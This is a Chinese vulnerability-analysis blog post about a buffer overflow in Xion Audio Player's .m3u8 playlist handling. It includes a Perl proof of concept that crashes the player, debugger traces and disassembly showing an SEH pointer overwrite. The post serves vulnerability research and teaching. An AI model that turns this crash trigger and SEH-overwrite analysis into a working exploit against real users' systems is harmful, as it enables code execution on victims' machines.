Xion Audio Player '.m3u8'缓冲区溢出漏洞分析

栏目: Perl · 发布时间: 6年前

内容简介:Xion Audio Player '.m3u8'缓冲区溢出漏洞分析

作者:k0shl 转载请注明出处:http://whereisk0shl.top

漏洞说明

软件下载:

https://www.exploit-db.com/apps/26083a9d383b24c0766f182add2e8d8c-xion_v1.0b126.exe

PoC:

#!/usr/bin/perl
my $file= "inj3ct0r team.m3u8";

my $junk= "\x41" x  3569;

open($FILE, ">$file");
print($FILE $junk);
close($FILE);
print("File created succesufully , open  it with Xion Audio Player and press the Play button");

PoC是用 perl 写的,可以保存成.pl文件,在 linux 下直接执行生成一个m3u8的文件,比较方便,在windows下也可以,只不过要先安装perl,生成后,在Xion Audio Player里直接打开,引发崩溃。

漏洞复现

DefaultPlaylist是Xion播放器处理音乐名和歌词的动态链接库,位于Plugins文件夹中,在Xion播放器打开时会加载进程序领空,在DefaultPlaylist处理m2u8文件时,由于没有对文件内容进行有效的检查,在sub_1001A6E0函数中调用_wcsrchr函数处理字符串时会由于畸形字符串拷贝导致某处指针被覆盖,因而导致程序进入SEH异常处理流程,从而达到代码执行,下面对此漏洞进行详细分析。

首先打开PoC,附加Windbg,程序崩溃,中断在漏洞现场。

0:009> g
(ce0.9cc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02ddef78 ebx=00000000 ecx=00000041 edx=00001088 esi=02d9fb28 edi=02d9eca8
eip=02c0a753 esp=02d9ea98 ebp=02d9ecb0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
*** WARNING: Unable to verify checksum for C:\Program Files\r2 Studios\Xion\plugins\DefaultPlaylist.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\r2 Studios\Xion\plugins\DefaultPlaylist.dll - 
DefaultPlaylist!XionPluginCreate+0x16bc3:
02c0a753 66890c02        mov     word ptr [edx+eax],cx    ds:0023:02de0041=????

可以看到此时edx+eax被引用到一个无效地址,接下来直接F5执行。

0:008> g
(ce0.9cc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00410041 edx=7c9232bc esi=00000000 edi=00000000
eip=00410041 esp=02d9e6c8 ebp=02d9e6e8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\r2 Studios\Xion\Xion.exe
Xion+0x10041:
00410041 8b08            mov     ecx,dword ptr [eax]  ds:0023:00000000=????????

进入SEH异常处理,此时SEH指针被覆盖,跳转到00410041的位置,通过kb可以回看被覆盖的堆栈。

02d9ecb0 00410041 00410041 00410041 00410041 ntdll!KiUserExceptionDispatcher+0xe
02d9ecb4 00410041 00410041 00410041 00410041 Xion+0x10041
02d9ecb8 00410041 00410041 00410041 00410041 Xion+0x10041
02d9ecbc 00410041 00410041 00410041 00410041 Xion+0x10041
02d9ecc0 00410041 00410041 00410041 00410041 Xion+0x10041
02d9ecc4 00410041 00410041 00410041 00410041 Xion+0x10041
02d9ecc8 00410041 00410041 00410041 00410041 Xion+0x10041
02d9eccc 00410041 00410041 00410041 00410041 Xion+0x10041
02d9ecd0 00410041 00410041 00410041 00410041 Xion+0x10041

由于堆栈被破坏,无法通过kb来回看堆栈调用情况,这里我通过减少畸形字符串长度来回看调用情况。

漏洞分析

尝试减小字符串长度,重新附加windbg,打开PoC

0:009> g
(2ec.f78): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=00000000 ecx=02f54878 edx=02c40000 esi=02b36960 edi=02c3fd30
eip=01a8cf7a esp=02c3ecbc ebp=02c3fd4c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\r2 Studios\Xion\plugins\DefaultPlaylist.dll - 
DefaultPlaylist!XionPluginCreate+0x193ea:
01a8cf7a 668902          mov     word ptr [edx],ax        ds:0023:02c40000=5a4d

可以看到程序中断在了不同位置,再次通过kb回溯,可以看到中断位置发生了变化。

0:008> kb
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\r2 Studios\Xion\Xion.exe
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
02c3fd4c 00410041 00410041 00410041 00410041 DefaultPlaylist!XionPluginCreate+0x193ea

这里并不能真正触发漏洞,而SEH处理会由于覆盖不到也无法进入,但可以通过这个位置的定位,重新修改成正常PoC动态跟踪整个位置,现通过IDA找到这个loc的位置。

.text:1001CF77 loc_1001CF77:                           ; CODE XREF: sub_1001CB90+3F6j
.text:1001CF77                 movzx   eax, word ptr [ecx]
.text:1001CF7A                 mov     [edx], ax

定位到函数sub_1001CB90,这里我要说明一下,第一是这个dll是加了UPX壳,在调试前需要脱壳,其次调试时,IDA静态跟踪的地址和动态调试的地址有所区别,所以调试时需要计算一下偏移,再根据基址地址计算出绝对地址。

接下来在函数入口下断点,重新附加程序。

0:009> bp DefaultPlaylist!XionPluginCreate+0x19000
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\r2 Studios\Xion\plugins\DefaultPlaylist.dll - 
0:009> g
Breakpoint 0 hit
eax=02b36968 ebx=00000001 ecx=00000000 edx=02f0bd50 esi=02b36960 edi=02b36960
eip=01a8cb90 esp=02c3fd50 ebp=00000000 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
DefaultPlaylist!XionPluginCreate+0x19000:
01a8cb90 55              push    ebp

中断后,通过kb可以看到没有被畸形字符串覆盖的堆栈调用。

0:008> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
02c3fd4c 01a8d9b4 02b36960 c7962a62 77f47e7c DefaultPlaylist!XionPluginCreate+0x19000
00000000 00000000 00000000 00000000 00000000 DefaultPlaylist!XionPluginCreate+0x19e24

单步执行,此时观察edx的值。

0:008> dc edx l100
02c3f112  005c003a 006f0044 00750063 0065006d  :.\.D.o.c.u.m.e.
02c3f122  0074006e 00200073 006e0061 00200064  n.t.s. .a.n.d. .
02c3f132  00650053 00740074 006e0069 00730067  S.e.t.t.i.n.g.s.
02c3f142  0041005c 006d0064 006e0069 00730069  \.A.d.m.i.n.i.s.
02c3f152  00720074 00740061 0072006f 0041005c  t.r.a.t.o.r.\.A.
02c3f162  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
02c3f172  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
02c3f182  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
02c3f192  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
02c3f1a2  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
02c3f1b2  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
02c3f1c2  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
02c3f1d2  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
02c3f1e2  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
02c3f1f2  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
02c3f202  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
02c3f212  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
02c3f222  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
02c3f232  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.

已经是畸形字符串路径了,接下来程序会进入第一处循环。

0:008> p
eax=02c3ed68 ebx=00000000 ecx=7b830041 edx=02c3ed0a esi=02b36b78 edi=02b36b9c
eip=01a8cd64 esp=02c3ecbc ebp=02c3fd4c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
DefaultPlaylist!XionPluginCreate+0x191d4:
01a8cd64 668b08          mov     cx,word ptr [eax]        ds:0023:02c3ed68=0041
0:008> p
eax=02c3ed68 ebx=00000000 ecx=7b830041 edx=02c3ed0a esi=02b36b78 edi=02b36b9c
eip=01a8cd67 esp=02c3ecbc ebp=02c3fd4c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
DefaultPlaylist!XionPluginCreate+0x191d7:
01a8cd67 83c002          add     eax,2
0:008> p
eax=02c3ed6a ebx=00000000 ecx=7b830041 edx=02c3ed0a esi=02b36b78 edi=02b36b9c
eip=01a8cd6a esp=02c3ecbc ebp=02c3fd4c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
DefaultPlaylist!XionPluginCreate+0x191da:
01a8cd6a 663bcb          cmp     cx,bx
0:008> p
eax=02c3ed6a ebx=00000000 ecx=7b830041 edx=02c3ed0a esi=02b36b78 edi=02b36b9c
eip=01a8cd6d esp=02c3ecbc ebp=02c3fd4c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
DefaultPlaylist!XionPluginCreate+0x191dd:
01a8cd6d 75f5            jne     DefaultPlaylist!XionPluginCreate+0x191d4 (01a8cd64) [br=1]

这处循环会对cx进行缓冲区拷贝,拷贝的是eax的值,而eax的值正是畸形字符串。

0:008> dd eax
02c3ed6a  00410041 00410041 00410041 00410041
02c3ed7a  00410041 00410041 00410041 00410041
02c3ed8a  00410041 00410041 00410041 00410041
02c3ed9a  00410041 00410041 00410041 00410041
02c3edaa  00410041 00410041 00410041 00410041
02c3edba  00410041 00410041 00410041 00410041
02c3edca  00410041 00410041 00410041 00410041
02c3edda  00410041 00410041 00410041 00410041

紧接着会到达第二处循环。

01a8cf77 0fb701          movzx   eax,word ptr [ecx]       ds:0023:02df6b68=0073
01a8cf7a 668902          mov     word ptr [edx],ax
01a8cf7d 83c102          add     ecx,2
01a8cf80 83c202          add     edx,2
01a8cf83 663bc3          cmp     ax,bx
01a8cf86 75ef            jne     DefaultPlaylist!XionPluginCreate+0x193e7 (01a8cf77)

第二处循环中拷贝的就是畸形字符串的路径了。

0:008> dc ecx
02df6b66  00730067 0041005c 006d0064 006e0069  g.s.\.A.d.m.i.n.
02df6b76  00730069 00720074 00740061 0072006f  i.s.t.r.a.t.o.r.
02df6b86  684c005c 005c9762 00410041 00410041  \.Lhb.\.A.A.A.A.
02df6b96  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
02df6ba6  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
02df6bb6  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
02df6bc6  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
02df6bd6  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.

这次拷贝结束后单步执行,到达下面的位置。

0:008> bp 01a8cf88
0:008> g
Breakpoint 2 hit
eax=00000000 ebx=00000000 ecx=02df8772 edx=02c41762 esi=02b36b78 edi=02c3fd30
eip=01a8cf88 esp=02c3ecbc ebp=02c3fd4c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
DefaultPlaylist!XionPluginCreate+0x193f8:
01a8cf88 8d84246c0e0000  lea     eax,[esp+0E6Ch]
0:008> p
eax=02c3fb28 ebx=00000000 ecx=02df8772 edx=02c41762 esi=02b36b78 edi=02c3fd30
eip=01a8cf8f esp=02c3ecbc ebp=02c3fd4c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
DefaultPlaylist!XionPluginCreate+0x193ff:
01a8cf8f 50              push    eax
0:008> p
eax=02c3fb28 ebx=00000000 ecx=02df8772 edx=02c41762 esi=02b36b78 edi=02c3fd30
eip=01a8cf90 esp=02c3ecb8 ebp=02c3fd4c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
DefaultPlaylist!XionPluginCreate+0x19400:
01a8cf90 e84bd7ffff      call    DefaultPlaylist!XionPluginCreate+0x16b50 (01a8a6e0)
0:008> p
(b60.9b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02c40f78 ebx=00000000 ecx=00000041 edx=00001088 esi=02c3fb28 edi=02c3eca8
eip=01a8a753 esp=02c3ea98 ebp=02c3ecb0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
DefaultPlaylist!XionPluginCreate+0x16bc3:
01a8a753 66890c02        mov     word ptr [edx+eax],cx    ds:0023:02c42000=????

发现01a8cf90地址处的call调用步过,会到达漏洞现场,那么我要跟进01a8cf90地址的函数。通过IDA pro查看这个函数的源码,发现其实,这个函数就是漏洞现场所在的函数。

.text:1001A6E0 ; int __cdecl sub_1001A6E0(wchar_t *)
.text:1001A6E0 sub_1001A6E0    proc near               ; CODE XREF: sub_1001CB90+400p
.text:1001A6E0
.text:1001A6E0 var_210         = byte ptr -210h
.text:1001A6E0 var_4           = dword ptr -4
.text:1001A6E0 arg_0           = dword ptr  8
.text:1001A6E0
.text:1001A6E0                 push    ebp
.text:1001A6E1                 mov     ebp, esp
.text:1001A6E3                 and     esp, 0FFFFFFF8h
.text:1001A6E6                 sub     esp, 210h
.text:1001A6EC                 mov     eax, ___security_cookie
.text:1001A6F1                 xor     eax, esp
.text:1001A6F3                 mov     [esp+210h+var_4], eax
.text:1001A6FA                 xor     eax, eax
.text:1001A6FC                 movzx   edx, ax
.text:1001A6FF                 push    esi
.text:1001A700                 mov     esi, [ebp+arg_0]
.text:1001A703                 push    edi
.text:1001A704                 mov     eax, edx
.text:1001A706                 shl     edx, 10h
.text:1001A709                 or      eax, edx
.text:1001A70B                 push    5Ch             ; wchar_t
.text:1001A70D                 mov     ecx, 82h
.text:1001A712                 lea     edi, [esp+21Ch+var_210]
.text:1001A716                 push    esi             ; wchar_t *
.text:1001A717                 rep stosd
.text:1001A719                 call    _wcsrchr
.text:1001A71E                 add     esp, 8
.text:1001A721                 test    eax, eax
.text:1001A723                 jz      short loc_1001A75F
.text:1001A725                 add     eax, 2
.text:1001A728                 lea     edx, [esp+218h+var_210]
.text:1001A72C                 sub     edx, eax
.text:1001A72E                 mov     edi, edi
.text:1001A730
.text:1001A730 loc_1001A730:                           ; CODE XREF: sub_1001A6E0+5Dj
.text:1001A730                 movzx   ecx, word ptr [eax]
.text:1001A733                 mov     [edx+eax], cx
.text:1001A737                 add     eax, 2
.text:1001A73A                 test    cx, cx
.text:1001A73D                 jnz     short loc_1001A730
.text:1001A73F                 lea     eax, [esp+218h+var_210]
.text:1001A743                 mov     edx, esi
.text:1001A745                 mov     ecx, eax
.text:1001A747                 sub     edx, ecx
.text:1001A749                 lea     esp, [esp+0]
.text:1001A750
.text:1001A750 loc_1001A750:                           ; CODE XREF: sub_1001A6E0+7Dj
.text:1001A750                 movzx   ecx, word ptr [eax]
.text:1001A753                 mov     [edx+eax], cx
.text:1001A757                 add     eax, 2
.text:1001A75A                 test    cx, cx
.text:1001A75D                 jnz     short loc_1001A750
.text:1001A75F
.text:1001A75F loc_1001A75F:                           ; CODE XREF: sub_1001A6E0+43j
.text:1001A75F                 mov     ecx, [esp+218h+var_4]
.text:1001A766                 pop     edi
.text:1001A767                 pop     esi
.text:1001A768                 xor     ecx, esp
.text:1001A76A                 call    @__security_check_cookie@4 ; __security_check_cookie(x)
.text:1001A76F                 mov     esp, ebp
.text:1001A771                 pop     ebp
.text:1001A772                 retn
.text:1001A772 sub_1001A6E0    endp

重新回到刚才地址函数调用的入口处,通过上面查看函数的内容,发现函数只有一个参数,在函数入口处查看一下第一个参数是什么。

0:009> g
Breakpoint 0 hit
eax=02c3fb28 ebx=00000000 ecx=02df8772 edx=02c41762 esi=02b36b80 edi=02c3fd30
eip=01a8cf90 esp=02c3ecb8 ebp=02c3fd4c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
DefaultPlaylist!XionPluginCreate+0x19400:
01a8cf90 e84bd7ffff      call    DefaultPlaylist!XionPluginCreate+0x16b50 (01a8a6e0)
0:008> dd esp
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\r2 Studios\Xion\Xion.exe
02c3ecb8  02c3fb28 d2b8c42e 02b36b80 02b36b80
02c3ecc8  00000001 00410041 02c3f110 00410041
02c3ecd8  00003373 000087e6 00000000 000066c7
02c3ece8  02b3b898 00410041 00410041 02e0bef0
02c3ecf8  02e0bef8 02e0bef8 02b36ba4 02b36b88
02c3ed08  00410000 00410041 00410041 00410041
02c3ed18  00410041 00410041 00410041 00410041
02c3ed28  00410041 00410041 00410041 00410041
0:008> dc 02c3fb28
02c3fb28  003a0043 0044005c 0063006f 006d0075  C.:.\.D.o.c.u.m.
02c3fb38  006e0065 00730074 00610020 0064006e  e.n.t.s. .a.n.d.
02c3fb48  00530020 00740065 00690074 0067006e   .S.e.t.t.i.n.g.
02c3fb58  005c0073 00640041 0069006d 0069006e  s.\.A.d.m.i.n.i.
02c3fb68  00740073 00610072 006f0074 005c0072  s.t.r.a.t.o.r.\.
02c3fb78  9762684c 0041005c 00410041 00410041  Lhb.\.A.A.A.A.A.
02c3fb88  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
02c3fb98  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.

第一个参数就是畸形字符串的绝对路径,那么接下来进入这个函数单步跟踪,到达一处call调用,call调用结束后,eax的值被修改。

0:008> p
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=02c3fb28 edi=02c3eca8
eip=01a8a719 esp=02c3ea90 ebp=02c3ecb0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
DefaultPlaylist!XionPluginCreate+0x16b89:
01a8a719 e8b4220400      call    DefaultPlaylist!XionPluginCreate+0x58e42 (01acc9d2)
0:008> p
eax=02c3fb7c ebx=00000000 ecx=0000005c edx=02c3fb28 esi=02c3fb28 edi=02c3eca8
eip=01a8a71e esp=02c3ea90 ebp=02c3ecb0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
DefaultPlaylist!XionPluginCreate+0x16b8e:
01a8a71e 83c408          add     esp,8

查看一下eax寄存器的值

0:008> dd eax
02c40f78  00410041 00410041 00410041 00410041
02c40f88  00410041 00410041 00410041 00410041
02c40f98  00410041 00410041 00410041 00410041
02c40fa8  00410041 00410041 00410041 00410041
02c40fb8  00410041 00410041 00410041 00410041
02c40fc8  00410041 00410041 00410041 00410041
02c40fd8  00410041 00410041 00410041 00410041
02c40fe8  00410041 00410041 00410041 00410041

已经是畸形字符串了,接下来就会执行到刚才漏洞触发的部分,通过之前的上下文观察,不难发现其实是01a8a719地址的call调用返回的指针,交给了eax寄存器,而eax指针中的值已经被覆盖了,继续跟入这个函数。

.text:1001A70B                 push    5Ch             ; wchar_t
.text:1001A70D                 mov     ecx, 82h
.text:1001A712                 lea     edi, [esp+21Ch+var_210]
.text:1001A716                 push    esi             ; wchar_t *
.text:1001A717                 rep stosd
.text:1001A719                 call    _wcsrchr

通过IDA查看wcsrchr函数的伪代码

wchar_t *__cdecl wcsrchr(const wchar_t *a1, wchar_t a2)
{
  wchar_t *result; // eax@1
  wchar_t v3; // cx@2

  result = (wchar_t *)a1;
  do
  {
    v3 = *result;
    ++result;
  }
  while ( v3 );
  do
    --result;
  while ( result != a1 && *result != a2 );
  if ( *result != a2 )
    result = 0;
  return result;
}

其实这里就是循环拷贝的作用,到此可以发现,在程序整个处理文件路径过程中,没有对长度进行控制和判断,而是直接交给内层函数处理,在wcsrchr函数拷贝过程中造成溢出,覆盖了某些关键指针,接着在后续调用中,由于关键指针位置不可读,从而导致了SEH异常处理,最后通过SEH指针覆盖达到代码执行的效果。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

从零开始学C++程序设计

从零开始学C++程序设计

编者:吴惠茹 / 机械工业 / 2017-05-01 / 69.0

一起来看看 《从零开始学C++程序设计》 这本书的介绍吧!

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具